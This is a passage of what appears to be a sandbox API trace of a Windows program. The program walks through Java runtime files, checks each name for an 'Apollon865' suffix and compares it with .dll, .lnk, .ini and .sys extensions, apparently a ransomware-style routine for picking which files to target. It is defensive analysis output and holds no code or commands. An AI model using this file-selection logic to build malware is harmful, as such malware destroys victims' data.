	[0055.408] lstrlenW (lpString=".lnk") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_shmem.dll", lpString2=".lnk") returned 1
	[0055.408] lstrlenW (lpString=".ini") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_shmem.dll", lpString2=".ini") returned 1
	[0055.408] lstrlenW (lpString=".sys") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_shmem.dll", lpString2=".sys") returned 1
	[0055.408] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0055.408] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="dt_socket.dll" | out: lpString1="dt_socket.dll") returned="dt_socket.dll"
	[0055.408] lstrlenW (lpString="dt_socket.dll") returned 13
	[0055.408] lstrlenW (lpString="Apollon865") returned 10
	[0055.408] lstrcmpiW (lpString1="socket.dll", lpString2="Apollon865") returned 1
	[0055.408] lstrlenW (lpString=".dll") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_socket.dll", lpString2=".dll") returned 1
	[0055.408] lstrlenW (lpString=".lnk") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_socket.dll", lpString2=".lnk") returned 1
	[0055.408] lstrlenW (lpString=".ini") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_socket.dll", lpString2=".ini") returned 1
	[0055.408] lstrlenW (lpString=".sys") returned 4
	[0055.408] lstrcmpiW (lpString1="dt_socket.dll", lpString2=".sys") returned 1
	[0055.408] lstrlenW (lpString="dt_socket.dll") returned 13
	[0055.408] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="eula.dll" | out: lpString1="eula.dll") returned="eula.dll"
	[0055.408] lstrlenW (lpString="eula.dll") returned 8
	[0055.408] lstrlenW (lpString="Apollon865") returned 10
	[0055.408] lstrlenW (lpString=".dll") returned 4
	[0055.408] lstrcmpiW (lpString1="eula.dll", lpString2=".dll") returned 1
	[0055.408] lstrlenW (lpString=".lnk") returned 4
	[0055.408] lstrcmpiW (lpString1="eula.dll", lpString2=".lnk") returned 1
	[0055.408] lstrlenW (lpString=".ini") returned 4
	[0055.408] lstrcmpiW (lpString1="eula.dll", lpString2=".ini") returned 1
	[0055.408] lstrlenW (lpString=".sys") returned 4
	[0055.408] lstrcmpiW (lpString1="eula.dll", lpString2=".sys") returned 1
	[0055.408] lstrlenW (lpString="eula.dll") returned 8
	[0055.409] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="fontmanager.dll" | out: lpString1="fontmanager.dll") returned="fontmanager.dll"
	[0055.409] lstrlenW (lpString="fontmanager.dll") returned 15
	[0055.409] lstrlenW (lpString="Apollon865") returned 10
	[0055.409] lstrcmpiW (lpString1="anager.dll", lpString2="Apollon865") returned -1
	[0055.409] lstrlenW (lpString=".dll") returned 4
	[0055.409] lstrcmpiW (lpString1="fontmanager.dll", lpString2=".dll") returned 1
	[0055.409] lstrlenW (lpString=".lnk") returned 4
	[0055.409] lstrcmpiW (lpString1="fontmanager.dll", lpString2=".lnk") returned 1
	[0055.409] lstrlenW (lpString=".ini") returned 4
	[0055.409] lstrcmpiW (lpString1="fontmanager.dll", lpString2=".ini") returned 1
	[0055.409] lstrlenW (lpString=".sys") returned 4
	[0055.409] lstrcmpiW (lpString1="fontmanager.dll", lpString2=".sys") returned 1
	[0055.409] lstrlenW (lpString="fontmanager.dll") returned 15
	[0055.409] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="fxplugins.dll" | out: lpString1="fxplugins.dll") returned="fxplugins.dll"
	[0055.409] lstrlenW (lpString="fxplugins.dll") returned 13
	[0055.409] lstrlenW (lpString="Apollon865") returned 10
	[0055.409] lstrcmpiW (lpString1="lugins.dll", lpString2="Apollon865") returned 1
	[0055.409] lstrlenW (lpString=".dll") returned 4
	[0055.409] lstrcmpiW (lpString1="fxplugins.dll", lpString2=".dll") returned 1
	[0055.409] lstrlenW (lpString=".lnk") returned 4
	[0055.409] lstrcmpiW (lpString1="fxplugins.dll", lpString2=".lnk") returned 1
	[0055.409] lstrlenW (lpString=".ini") returned 4
	[0055.409] lstrcmpiW (lpString1="fxplugins.dll", lpString2=".ini") returned 1
	[0055.409] lstrlenW (lpString=".sys") returned 4
	[0055.409] lstrcmpiW (lpString1="fxplugins.dll", lpString2=".sys") returned 1
	[0055.409] lstrlenW (lpString="fxplugins.dll") returned 13
	[0055.409] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="glass.dll" | out: lpString1="glass.dll") returned="glass.dll"
	[0055.409] lstrlenW (lpString="glass.dll") returned 9
	[0055.410] lstrlenW (lpString="Apollon865") returned 10
	[0055.410] lstrlenW (lpString=".dll") returned 4
	[0055.410] lstrcmpiW (lpString1="glass.dll", lpString2=".dll") returned 1
	[0055.410] lstrlenW (lpString=".lnk") returned 4
	[0055.410] lstrcmpiW (lpString1="glass.dll", lpString2=".lnk") returned 1
	[0055.410] lstrlenW (lpString=".ini") returned 4
	[0055.410] lstrcmpiW (lpString1="glass.dll", lpString2=".ini") returned 1
	[0055.410] lstrlenW (lpString=".sys") returned 4
	[0055.410] lstrcmpiW (lpString1="glass.dll", lpString2=".sys") returned 1
	[0055.410] lstrlenW (lpString="glass.dll") returned 9
	[0055.410] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="glib-lite.dll" | out: lpString1="glib-lite.dll") returned="glib-lite.dll"
	[0055.410] lstrlenW (lpString="glib-lite.dll") returned 13
	[0055.410] lstrlenW (lpString="Apollon865") returned 10
	[0055.410] lstrcmpiW (lpString1="b-lite.dll", lpString2="Apollon865") returned 1
	[0055.410] lstrlenW (lpString=".dll") returned 4
	[0055.410] lstrcmpiW (lpString1="glib-lite.dll", lpString2=".dll") returned 1
	[0055.410] lstrlenW (lpString=".lnk") returned 4
	[0055.410] lstrcmpiW (lpString1="glib-lite.dll", lpString2=".lnk") returned 1
	[0055.410] lstrlenW (lpString=".ini") returned 4
	[0055.410] lstrcmpiW (lpString1="glib-lite.dll", lpString2=".ini") returned 1
	[0055.410] lstrlenW (lpString=".sys") returned 4
	[0055.410] lstrcmpiW (lpString1="glib-lite.dll", lpString2=".sys") returned 1
	[0055.410] lstrlenW (lpString="glib-lite.dll") returned 13
	[0055.410] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="gstreamer-lite.dll" | out: lpString1="gstreamer-lite.dll") returned="gstreamer-lite.dll"
	[0055.410] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0055.410] lstrlenW (lpString="Apollon865") returned 10
	[0055.410] lstrcmpiW (lpString1="r-lite.dll", lpString2="Apollon865") returned 1
	[0055.410] lstrlenW (lpString=".dll") returned 4
	[0055.410] lstrcmpiW (lpString1="gstreamer-lite.dll", lpString2=".dll") returned 1
	[0055.410] lstrlenW (lpString=".lnk") returned 4
	[0055.410] lstrcmpiW (lpString1="gstreamer-lite.dll", lpString2=".lnk") returned 1
	[0055.410] lstrlenW (lpString=".ini") returned 4
	[0055.411] lstrcmpiW (lpString1="gstreamer-lite.dll", lpString2=".ini") returned 1
	[0055.411] lstrlenW (lpString=".sys") returned 4
	[0055.411] lstrcmpiW (lpString1="gstreamer-lite.dll", lpString2=".sys") returned 1
	[0055.411] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0055.411] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="hprof.dll" | out: lpString1="hprof.dll") returned="hprof.dll"
	[0055.411] lstrlenW (lpString="hprof.dll") returned 9
	[0055.411] lstrlenW (lpString="Apollon865") returned 10
	[0055.411] lstrlenW (lpString=".dll") returned 4
	[0055.411] lstrcmpiW (lpString1="hprof.dll", lpString2=".dll") returned 1
	[0055.411] lstrlenW (lpString=".lnk") returned 4
	[0055.411] lstrcmpiW (lpString1="hprof.dll", lpString2=".lnk") returned 1
	[0055.411] lstrlenW (lpString=".ini") returned 4
	[0055.411] lstrcmpiW (lpString1="hprof.dll", lpString2=".ini") returned 1
	[0055.411] lstrlenW (lpString=".sys") returned 4
	[0055.411] lstrcmpiW (lpString1="hprof.dll", lpString2=".sys") returned 1
	[0055.411] lstrlenW (lpString="hprof.dll") returned 9
	[0055.411] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="installer.dll" | out: lpString1="installer.dll") returned="installer.dll"
	[0055.411] lstrlenW (lpString="installer.dll") returned 13
	[0055.411] lstrlenW (lpString="Apollon865") returned 10
	[0055.411] lstrcmpiW (lpString1="taller.dll", lpString2="Apollon865") returned 1
	[0055.411] lstrlenW (lpString=".dll") returned 4
	[0055.411] lstrcmpiW (lpString1="installer.dll", lpString2=".dll") returned 1
	[0055.411] lstrlenW (lpString=".lnk") returned 4
	[0055.411] lstrcmpiW (lpString1="installer.dll", lpString2=".lnk") returned 1
	[0055.411] lstrlenW (lpString=".ini") returned 4
	[0055.411] lstrcmpiW (lpString1="installer.dll", lpString2=".ini") returned 1
	[0055.411] lstrlenW (lpString=".sys") returned 4
	[0055.411] lstrcmpiW (lpString1="installer.dll", lpString2=".sys") returned 1
	[0055.411] lstrlenW (lpString="installer.dll") returned 13
	[0055.412] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="instrument.dll" | out: lpString1="instrument.dll") returned="instrument.dll"
	[0055.412] lstrlenW (lpString="instrument.dll") returned 14
	[0055.412] lstrlenW (lpString="Apollon865") returned 10
	[0055.412] lstrcmpiW (lpString1="rument.dll", lpString2="Apollon865") returned 1
	[0055.412] lstrlenW (lpString=".dll") returned 4
	[0055.412] lstrcmpiW (lpString1="instrument.dll", lpString2=".dll") returned 1
	[0055.413] lstrlenW (lpString=".lnk") returned 4
	[0055.413] lstrcmpiW (lpString1="instrument.dll", lpString2=".lnk") returned 1
	[0055.413] lstrlenW (lpString=".ini") returned 4
	[0055.413] lstrcmpiW (lpString1="instrument.dll", lpString2=".ini") returned 1
	[0055.413] lstrlenW (lpString=".sys") returned 4
	[0055.413] lstrcmpiW (lpString1="instrument.dll", lpString2=".sys") returned 1
	[0055.413] lstrlenW (lpString="instrument.dll") returned 14
	[0055.413] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="j2pcsc.dll" | out: lpString1="j2pcsc.dll") returned="j2pcsc.dll"
	[0055.413] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0055.413] lstrlenW (lpString="Apollon865") returned 10
	[0055.413] lstrlenW (lpString=".dll") returned 4
	[0055.413] lstrcmpiW (lpString1="j2pcsc.dll", lpString2=".dll") returned 1
	[0055.413] lstrlenW (lpString=".lnk") returned 4
	[0055.413] lstrcmpiW (lpString1="j2pcsc.dll", lpString2=".lnk") returned 1
	[0055.413] lstrlenW (lpString=".ini") returned 4
	[0055.413] lstrcmpiW (lpString1="j2pcsc.dll", lpString2=".ini") returned 1
	[0055.413] lstrlenW (lpString=".sys") returned 4
	[0055.413] lstrcmpiW (lpString1="j2pcsc.dll", lpString2=".sys") returned 1
	[0055.413] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0055.413] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="j2pkcs11.dll" | out: lpString1="j2pkcs11.dll") returned="j2pkcs11.dll"
	[0055.413] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0055.413] lstrlenW (lpString="Apollon865") returned 10
	[0055.414] lstrcmpiW (lpString1="pkcs11.dll", lpString2="Apollon865") returned 1
	[0055.414] lstrlenW (lpString=".dll") returned 4
	[0055.414] lstrcmpiW (lpString1="j2pkcs11.dll", lpString2=".dll") returned 1
	[0055.414] lstrlenW (lpString=".lnk") returned 4
	[0055.414] lstrcmpiW (lpString1="j2pkcs11.dll", lpString2=".lnk") returned 1
	[0055.414] lstrlenW (lpString=".ini") returned 4
	[0055.414] lstrcmpiW (lpString1="j2pkcs11.dll", lpString2=".ini") returned 1
	[0055.414] lstrlenW (lpString=".sys") returned 4
	[0055.414] lstrcmpiW (lpString1="j2pkcs11.dll", lpString2=".sys") returned 1
	[0055.414] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0055.414] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jaas_nt.dll" | out: lpString1="jaas_nt.dll") returned="jaas_nt.dll"
	[0055.414] lstrlenW (lpString="jaas_nt.dll") returned 11
	[0055.414] lstrlenW (lpString="Apollon865") returned 10
	[0055.414] lstrcmpiW (lpString1="aas_nt.dll", lpString2="Apollon865") returned -1
	[0055.414] lstrlenW (lpString=".dll") returned 4
	[0055.414] lstrcmpiW (lpString1="jaas_nt.dll", lpString2=".dll") returned 1
	[0055.414] lstrlenW (lpString=".lnk") returned 4
	[0055.414] lstrcmpiW (lpString1="jaas_nt.dll", lpString2=".lnk") returned 1
	[0055.414] lstrlenW (lpString=".ini") returned 4
	[0055.414] lstrcmpiW (lpString1="jaas_nt.dll", lpString2=".ini") returned 1
	[0055.414] lstrlenW (lpString=".sys") returned 4
	[0055.414] lstrcmpiW (lpString1="jaas_nt.dll", lpString2=".sys") returned 1
	[0055.414] lstrlenW (lpString="jaas_nt.dll") returned 11
	[0055.414] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jabswitch.exe" | out: lpString1="jabswitch.exe") returned="jabswitch.exe"
	[0055.414] lstrlenW (lpString="jabswitch.exe") returned 13
	[0055.414] lstrlenW (lpString="Apollon865") returned 10
	[0055.414] lstrcmpiW (lpString1="switch.exe", lpString2="Apollon865") returned 1
	[0055.414] lstrlenW (lpString=".dll") returned 4
	[0055.414] lstrcmpiW (lpString1="jabswitch.exe", lpString2=".dll") returned 1
	[0055.414] lstrlenW (lpString=".lnk") returned 4
	[0055.415] lstrcmpiW (lpString1="jabswitch.exe", lpString2=".lnk") returned 1
	[0055.415] lstrlenW (lpString=".ini") returned 4
	[0055.415] lstrcmpiW (lpString1="jabswitch.exe", lpString2=".ini") returned 1
	[0055.415] lstrlenW (lpString=".sys") returned 4
	[0055.415] lstrcmpiW (lpString1="jabswitch.exe", lpString2=".sys") returned 1
	[0055.415] lstrlenW (lpString="jabswitch.exe") returned 13
	[0055.415] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="java-rmi.exe" | out: lpString1="java-rmi.exe") returned="java-rmi.exe"
	[0055.415] lstrlenW (lpString="java-rmi.exe") returned 12
	[0055.415] lstrlenW (lpString="Apollon865") returned 10
	[0055.415] lstrcmpiW (lpString1="va-rmi.exe", lpString2="Apollon865") returned 1
	[0055.415] lstrlenW (lpString=".dll") returned 4
	[0055.415] lstrcmpiW (lpString1="java-rmi.exe", lpString2=".dll") returned 1
	[0055.415] lstrlenW (lpString=".lnk") returned 4
	[0055.415] lstrcmpiW (lpString1="java-rmi.exe", lpString2=".lnk") returned 1
	[0055.415] lstrlenW (lpString=".ini") returned 4
	[0055.415] lstrcmpiW (lpString1="java-rmi.exe", lpString2=".ini") returned 1
	[0055.415] lstrlenW (lpString=".sys") returned 4
	[0055.415] lstrcmpiW (lpString1="java-rmi.exe", lpString2=".sys") returned 1
	[0055.415] lstrlenW (lpString="java-rmi.exe") returned 12
	[0055.415] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="java.dll" | out: lpString1="java.dll") returned="java.dll"
	[0055.415] lstrlenW (lpString="java.dll") returned 8
	[0055.415] lstrlenW (lpString="Apollon865") returned 10
	[0055.415] lstrlenW (lpString=".dll") returned 4
	[0055.415] lstrcmpiW (lpString1="java.dll", lpString2=".dll") returned 1
	[0055.415] lstrlenW (lpString=".lnk") returned 4
	[0055.415] lstrcmpiW (lpString1="java.dll", lpString2=".lnk") returned 1
	[0055.415] lstrlenW (lpString=".ini") returned 4
	[0055.415] lstrcmpiW (lpString1="java.dll", lpString2=".ini") returned 1
	[0055.415] lstrlenW (lpString=".sys") returned 4
	[0055.415] lstrcmpiW (lpString1="java.dll", lpString2=".sys") returned 1
	[0055.416] lstrlenW (lpString="java.dll") returned 8
	[0055.416] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="java.exe" | out: lpString1="java.exe") returned="java.exe"
	[0055.416] lstrlenW (lpString="java.exe") returned 8
	[0055.416] lstrlenW (lpString="Apollon865") returned 10
	[0055.416] lstrlenW (lpString=".dll") returned 4
	[0055.416] lstrcmpiW (lpString1="java.exe", lpString2=".dll") returned 1
	[0055.416] lstrlenW (lpString=".lnk") returned 4
	[0055.416] lstrcmpiW (lpString1="java.exe", lpString2=".lnk") returned 1
	[0055.416] lstrlenW (lpString=".ini") returned 4
	[0055.416] lstrcmpiW (lpString1="java.exe", lpString2=".ini") returned 1
	[0055.416] lstrlenW (lpString=".sys") returned 4
	[0055.416] lstrcmpiW (lpString1="java.exe", lpString2=".sys") returned 1
	[0055.416] lstrlenW (lpString="java.exe") returned 8
	[0055.416] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="JavaAccessBridge-32.dll" | out: lpString1="JavaAccessBridge-32.dll") returned="JavaAccessBridge-32.dll"
	[0055.416] lstrlenW (lpString="JavaAccessBridge-32.dll") returned 23
	[0055.416] lstrlenW (lpString="Apollon865") returned 10
	[0055.416] lstrcmpiW (lpString1="dge-32.dll", lpString2="Apollon865") returned 1
	[0055.416] lstrlenW (lpString=".dll") returned 4
	[0055.416] lstrcmpiW (lpString1="JavaAccessBridge-32.dll", lpString2=".dll") returned 1
	[0055.416] lstrlenW (lpString=".lnk") returned 4
	[0055.416] lstrcmpiW (lpString1="JavaAccessBridge-32.dll", lpString2=".lnk") returned 1
	[0055.416] lstrlenW (lpString=".ini") returned 4
	[0055.416] lstrcmpiW (lpString1="JavaAccessBridge-32.dll", lpString2=".ini") returned 1
	[0055.416] lstrlenW (lpString=".sys") returned 4
	[0055.416] lstrcmpiW (lpString1="JavaAccessBridge-32.dll", lpString2=".sys") returned 1
	[0055.416] lstrlenW (lpString="JavaAccessBridge-32.dll") returned 23
	[0055.416] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javacpl.exe" | out: lpString1="javacpl.exe") returned="javacpl.exe"
	[0055.416] lstrlenW (lpString="javacpl.exe") returned 11
	[0055.417] lstrlenW (lpString="Apollon865") returned 10
	[0055.417] lstrcmpiW (lpString1="avacpl.exe", lpString2="Apollon865") returned 1
	[0055.417] lstrlenW (lpString=".dll") returned 4
	[0055.417] lstrcmpiW (lpString1="javacpl.exe", lpString2=".dll") returned 1
	[0055.417] lstrlenW (lpString=".lnk") returned 4
	[0055.417] lstrcmpiW (lpString1="javacpl.exe", lpString2=".lnk") returned 1
	[0055.417] lstrlenW (lpString=".ini") returned 4
	[0055.417] lstrcmpiW (lpString1="javacpl.exe", lpString2=".ini") returned 1
	[0055.417] lstrlenW (lpString=".sys") returned 4
	[0055.417] lstrcmpiW (lpString1="javacpl.exe", lpString2=".sys") returned 1
	[0055.417] lstrlenW (lpString="javacpl.exe") returned 11
	[0055.417] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javafx-font.dll" | out: lpString1="javafx-font.dll") returned="javafx-font.dll"
	[0055.417] lstrlenW (lpString="javafx-font.dll") returned 15
	[0055.417] lstrlenW (lpString="Apollon865") returned 10
	[0055.417] lstrcmpiW (lpString1="x-font.dll", lpString2="Apollon865") returned 1
	[0055.417] lstrlenW (lpString=".dll") returned 4
	[0055.417] lstrcmpiW (lpString1="javafx-font.dll", lpString2=".dll") returned 1
	[0055.417] lstrlenW (lpString=".lnk") returned 4
	[0055.417] lstrcmpiW (lpString1="javafx-font.dll", lpString2=".lnk") returned 1
	[0055.417] lstrlenW (lpString=".ini") returned 4
	[0055.417] lstrcmpiW (lpString1="javafx-font.dll", lpString2=".ini") returned 1
	[0055.417] lstrlenW (lpString=".sys") returned 4
	[0055.417] lstrcmpiW (lpString1="javafx-font.dll", lpString2=".sys") returned 1
	[0055.417] lstrlenW (lpString="javafx-font.dll") returned 15
	[0055.417] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javafx-iio.dll" | out: lpString1="javafx-iio.dll") returned="javafx-iio.dll"
	[0055.417] lstrlenW (lpString="javafx-iio.dll") returned 14
	[0055.417] lstrlenW (lpString="Apollon865") returned 10
	[0055.417] lstrcmpiW (lpString1="fx-iio.dll", lpString2="Apollon865") returned 1
	[0055.417] lstrlenW (lpString=".dll") returned 4
	[0055.417] lstrcmpiW (lpString1="javafx-iio.dll", lpString2=".dll") returned 1
	[0055.418] lstrlenW (lpString=".lnk") returned 4
	[0055.418] lstrcmpiW (lpString1="javafx-iio.dll", lpString2=".lnk") returned 1
	[0055.418] lstrlenW (lpString=".ini") returned 4
	[0055.418] lstrcmpiW (lpString1="javafx-iio.dll", lpString2=".ini") returned 1
	[0055.418] lstrlenW (lpString=".sys") returned 4
	[0055.418] lstrcmpiW (lpString1="javafx-iio.dll", lpString2=".sys") returned 1
	[0055.418] lstrlenW (lpString="javafx-iio.dll") returned 14
	[0055.418] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javaw.exe" | out: lpString1="javaw.exe") returned="javaw.exe"
	[0055.418] lstrlenW (lpString="javaw.exe") returned 9
	[0055.418] lstrlenW (lpString="Apollon865") returned 10
	[0055.418] lstrlenW (lpString=".dll") returned 4
	[0055.418] lstrcmpiW (lpString1="javaw.exe", lpString2=".dll") returned 1
	[0055.418] lstrlenW (lpString=".lnk") returned 4
	[0055.418] lstrcmpiW (lpString1="javaw.exe", lpString2=".lnk") returned 1
	[0055.418] lstrlenW (lpString=".ini") returned 4
	[0055.418] lstrcmpiW (lpString1="javaw.exe", lpString2=".ini") returned 1
	[0055.418] lstrlenW (lpString=".sys") returned 4
	[0055.418] lstrcmpiW (lpString1="javaw.exe", lpString2=".sys") returned 1
	[0055.418] lstrlenW (lpString="javaw.exe") returned 9
	[0055.418] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javaws.exe" | out: lpString1="javaws.exe") returned="javaws.exe"
	[0055.418] lstrlenW (lpString="javaws.exe") returned 10
	[0055.418] lstrlenW (lpString="Apollon865") returned 10
	[0055.418] lstrlenW (lpString=".dll") returned 4
	[0055.418] lstrcmpiW (lpString1="javaws.exe", lpString2=".dll") returned 1
	[0055.418] lstrlenW (lpString=".lnk") returned 4
	[0055.418] lstrcmpiW (lpString1="javaws.exe", lpString2=".lnk") returned 1
	[0055.418] lstrlenW (lpString=".ini") returned 4
	[0055.418] lstrcmpiW (lpString1="javaws.exe", lpString2=".ini") returned 1
	[0055.418] lstrlenW (lpString=".sys") returned 4
	[0055.419] lstrcmpiW (lpString1="javaws.exe", lpString2=".sys") returned 1
	[0055.419] lstrlenW (lpString="javaws.exe") returned 10
	[0055.421] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="java_crw_demo.dll" | out: lpString1="java_crw_demo.dll") returned="java_crw_demo.dll"
	[0055.421] lstrlenW (lpString="java_crw_demo.dll") returned 17
	[0055.421] lstrlenW (lpString="Apollon865") returned 10
	[0055.421] lstrcmpiW (lpString1="w_demo.dll", lpString2="Apollon865") returned 1
	[0055.421] lstrlenW (lpString=".dll") returned 4
	[0055.421] lstrcmpiW (lpString1="java_crw_demo.dll", lpString2=".dll") returned 1
	[0055.421] lstrlenW (lpString=".lnk") returned 4
	[0055.421] lstrcmpiW (lpString1="java_crw_demo.dll", lpString2=".lnk") returned 1
	[0055.421] lstrlenW (lpString=".ini") returned 4
	[0055.422] lstrcmpiW (lpString1="java_crw_demo.dll", lpString2=".ini") returned 1
	[0055.422] lstrlenW (lpString=".sys") returned 4
	[0055.422] lstrcmpiW (lpString1="java_crw_demo.dll", lpString2=".sys") returned 1
	[0055.422] lstrlenW (lpString="java_crw_demo.dll") returned 17
	[0055.422] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jawt.dll" | out: lpString1="jawt.dll") returned="jawt.dll"
	[0055.422] lstrlenW (lpString="jawt.dll") returned 8
	[0055.422] lstrlenW (lpString="Apollon865") returned 10
	[0055.422] lstrlenW (lpString=".dll") returned 4
	[0055.422] lstrcmpiW (lpString1="jawt.dll", lpString2=".dll") returned 1
	[0055.422] lstrlenW (lpString=".lnk") returned 4
	[0055.422] lstrcmpiW (lpString1="jawt.dll", lpString2=".lnk") returned 1
	[0055.422] lstrlenW (lpString=".ini") returned 4
	[0055.422] lstrcmpiW (lpString1="jawt.dll", lpString2=".ini") returned 1
	[0055.422] lstrlenW (lpString=".sys") returned 4
	[0055.422] lstrcmpiW (lpString1="jawt.dll", lpString2=".sys") returned 1
	[0055.422] lstrlenW (lpString="jawt.dll") returned 8
	[0055.422] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="JAWTAccessBridge-32.dll" | out: lpString1="JAWTAccessBridge-32.dll") returned="JAWTAccessBridge-32.dll"
	[0055.422] lstrlenW (lpString="JAWTAccessBridge-32.dll") returned 23
	[0055.422] lstrlenW (lpString="Apollon865") returned 10
	[0055.422] lstrcmpiW (lpString1="dge-32.dll", lpString2="Apollon865") returned 1
	[0055.422] lstrlenW (lpString=".dll") returned 4
	[0055.422] lstrcmpiW (lpString1="JAWTAccessBridge-32.dll", lpString2=".dll") returned 1
	[0055.422] lstrlenW (lpString=".lnk") returned 4
	[0055.422] lstrcmpiW (lpString1="JAWTAccessBridge-32.dll", lpString2=".lnk") returned 1
	[0055.422] lstrlenW (lpString=".ini") returned 4
	[0055.422] lstrcmpiW (lpString1="JAWTAccessBridge-32.dll", lpString2=".ini") returned 1
	[0055.422] lstrlenW (lpString=".sys") returned 4
	[0055.422] lstrcmpiW (lpString1="JAWTAccessBridge-32.dll", lpString2=".sys") returned 1
	[0055.422] lstrlenW (lpString="JAWTAccessBridge-32.dll") returned 23
	[0055.423] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="JdbcOdbc.dll" | out: lpString1="JdbcOdbc.dll") returned="JdbcOdbc.dll"
	[0055.423] lstrlenW (lpString="JdbcOdbc.dll") returned 12
	[0055.423] lstrlenW (lpString="Apollon865") returned 10
	[0055.423] lstrcmpiW (lpString1="bcOdbc.dll", lpString2="Apollon865") returned 1
	[0055.423] lstrlenW (lpString=".dll") returned 4
	[0055.423] lstrcmpiW (lpString1="JdbcOdbc.dll", lpString2=".dll") returned 1
	[0055.423] lstrlenW (lpString=".lnk") returned 4
	[0055.423] lstrcmpiW (lpString1="JdbcOdbc.dll", lpString2=".lnk") returned 1
	[0055.423] lstrlenW (lpString=".ini") returned 4
	[0055.423] lstrcmpiW (lpString1="JdbcOdbc.dll", lpString2=".ini") returned 1
	[0055.423] lstrlenW (lpString=".sys") returned 4
	[0055.423] lstrcmpiW (lpString1="JdbcOdbc.dll", lpString2=".sys") returned 1
	[0055.423] lstrlenW (lpString="JdbcOdbc.dll") returned 12
	[0055.423] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jdwp.dll" | out: lpString1="jdwp.dll") returned="jdwp.dll"
	[0055.423] lstrlenW (lpString="jdwp.dll") returned 8
	[0055.423] lstrlenW (lpString="Apollon865") returned 10
	[0055.423] lstrlenW (lpString=".dll") returned 4
	[0055.423] lstrcmpiW (lpString1="jdwp.dll", lpString2=".dll") returned 1
	[0055.423] lstrlenW (lpString=".lnk") returned 4
	[0055.423] lstrcmpiW (lpString1="jdwp.dll", lpString2=".lnk") returned 1
	[0055.423] lstrlenW (lpString=".ini") returned 4
	[0055.423] lstrcmpiW (lpString1="jdwp.dll", lpString2=".ini") returned 1
	[0055.423] lstrlenW (lpString=".sys") returned 4
	[0055.423] lstrcmpiW (lpString1="jdwp.dll", lpString2=".sys") returned 1
	[0055.423] lstrlenW (lpString="jdwp.dll") returned 8
	[0055.423] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfr.dll" | out: lpString1="jfr.dll") returned="jfr.dll"
	[0055.423] lstrlenW (lpString="jfr.dll") returned 7
	[0055.423] lstrlenW (lpString="Apollon865") returned 10
	[0055.423] lstrlenW (lpString=".dll") returned 4
	[0055.423] lstrcmpiW (lpString1="jfr.dll", lpString2=".dll") returned 1
	[0055.424] lstrlenW (lpString=".lnk") returned 4
	[0055.424] lstrcmpiW (lpString1="jfr.dll", lpString2=".lnk") returned 1
	[0055.424] lstrlenW (lpString=".ini") returned 4
	[0055.424] lstrcmpiW (lpString1="jfr.dll", lpString2=".ini") returned 1
	[0055.424] lstrlenW (lpString=".sys") returned 4
	[0055.424] lstrcmpiW (lpString1="jfr.dll", lpString2=".sys") returned 1
	[0055.424] lstrlenW (lpString="jfr.dll") returned 7
	[0055.424] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfxmedia.dll" | out: lpString1="jfxmedia.dll") returned="jfxmedia.dll"
	[0055.424] lstrlenW (lpString="jfxmedia.dll") returned 12
	[0055.424] lstrlenW (lpString="Apollon865") returned 10
	[0055.424] lstrcmpiW (lpString1="xmedia.dll", lpString2="Apollon865") returned 1
	[0055.424] lstrlenW (lpString=".dll") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxmedia.dll", lpString2=".dll") returned 1
	[0055.424] lstrlenW (lpString=".lnk") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxmedia.dll", lpString2=".lnk") returned 1
	[0055.424] lstrlenW (lpString=".ini") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxmedia.dll", lpString2=".ini") returned 1
	[0055.424] lstrlenW (lpString=".sys") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxmedia.dll", lpString2=".sys") returned 1
	[0055.424] lstrlenW (lpString="jfxmedia.dll") returned 12
	[0055.424] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfxwebkit.dll" | out: lpString1="jfxwebkit.dll") returned="jfxwebkit.dll"
	[0055.424] lstrlenW (lpString="jfxwebkit.dll") returned 13
	[0055.424] lstrlenW (lpString="Apollon865") returned 10
	[0055.424] lstrcmpiW (lpString1="webkit.dll", lpString2="Apollon865") returned 1
	[0055.424] lstrlenW (lpString=".dll") returned 4
	[0055.424] lstrcmpiW (lpString1="jfxwebkit.dll", lpString2=".dll") returned 1
	[0055.424] lstrlenW (lpString=".lnk") returned 4
